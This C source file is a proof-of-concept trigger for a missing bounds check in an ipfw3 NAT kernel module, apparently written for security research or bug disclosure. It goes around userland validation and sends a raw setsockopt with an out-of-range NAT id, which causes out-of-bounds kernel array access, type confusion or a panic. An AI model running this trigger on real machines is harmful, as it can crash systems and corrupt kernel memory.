/*
 * DF-0573 trigger: ioc->id is used as nats[id-1] index without bounds
 * check in nat_add_dispatch (ip_fw3_nat.c:745) and nat_del_dispatch (797).
 *
 * Userland ipfw3 validates id in [1,NAT_ID_MAX=16], but kernel does NOT.
 * Bypass the userland and send setsockopt directly:
 *
 *   id=0  -> nats[-1] (OOB before array; the NULL check at :745 may pass
 *            if memory there is non-zero, then kmalloc/type-confusion on
 *            garbage pointer)
 *   id=17 -> nats[16] (OOB after; struct ip_fw3_nat_context has the array
 *            at the end -- see ip_fw3_nat.h:139)
 *
 * Triggering as root via raw IP socket + IP_FW_X setsockopt. The setsockopt
 * path itself is only reachable by holders of SYSCAP_NONET_RAW (root),
 * making this a root->kernel OOB / type-confusion hardening gap rather
 * than an unpriv->root escalation. See VERDICT.md.
 *
 * Build: cc -o trigger trigger.c
 * Run:   ./trigger [id]
 *        default id=17 (one past NAT_ID_MAX)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ipfw3/ip_fw3.h>
#include <net/ipfw3_nat/ip_fw3_nat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv) {
    int s, rc, id;
    struct {
        ip_fw_x_header hdr;
        struct ioc_nat nat;
        struct in_addr addr;
    } __attribute__((packed)) msg;

    id = (argc > 1) ? atoi(argv[1]) : 17;
    printf("[*] DF-0573: sending IP_FW_NAT_ADD with id=%d (NAT_ID_MAX=%d)\n",
           id, NAT_ID_MAX);
    printf("[*] kernel will index nats[id-1] = nats[%d] with no bounds check\n",
           id - 1);

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) { perror("socket(RAW)"); return 1; }

    memset(&msg, 0, sizeof(msg));
    msg.hdr.opcode = IP_FW_NAT_ADD;
    msg.nat.id = id;
    msg.nat.count = 1;
    msg.nat.ip.s_addr = inet_addr("10.0.2.15");
    /* copy one in_addr follows ioc_nat in ioc_nat layout */

    printf("[*] setsockopt(IP_FW_X, IP_FW_NAT_ADD, id=%d, count=1)\n", id);
    rc = setsockopt(s, IPPROTO_IP, IP_FW_X, &msg, sizeof(msg));
    printf("[+] setsockopt returned %d (errno=%d: %s)\n",
           rc, errno, strerror(errno));
    if (rc == 0) {
        printf("[!] setsockopt succeeded -> OOB array access in kernel\n");
        printf("[!] on INVARIANTS kernels: panic likely\n");
        printf("[!] on production kernels: type-confused cfg_nat written\n");
    }
    close(s);
    return rc ? 2 : 0;
}
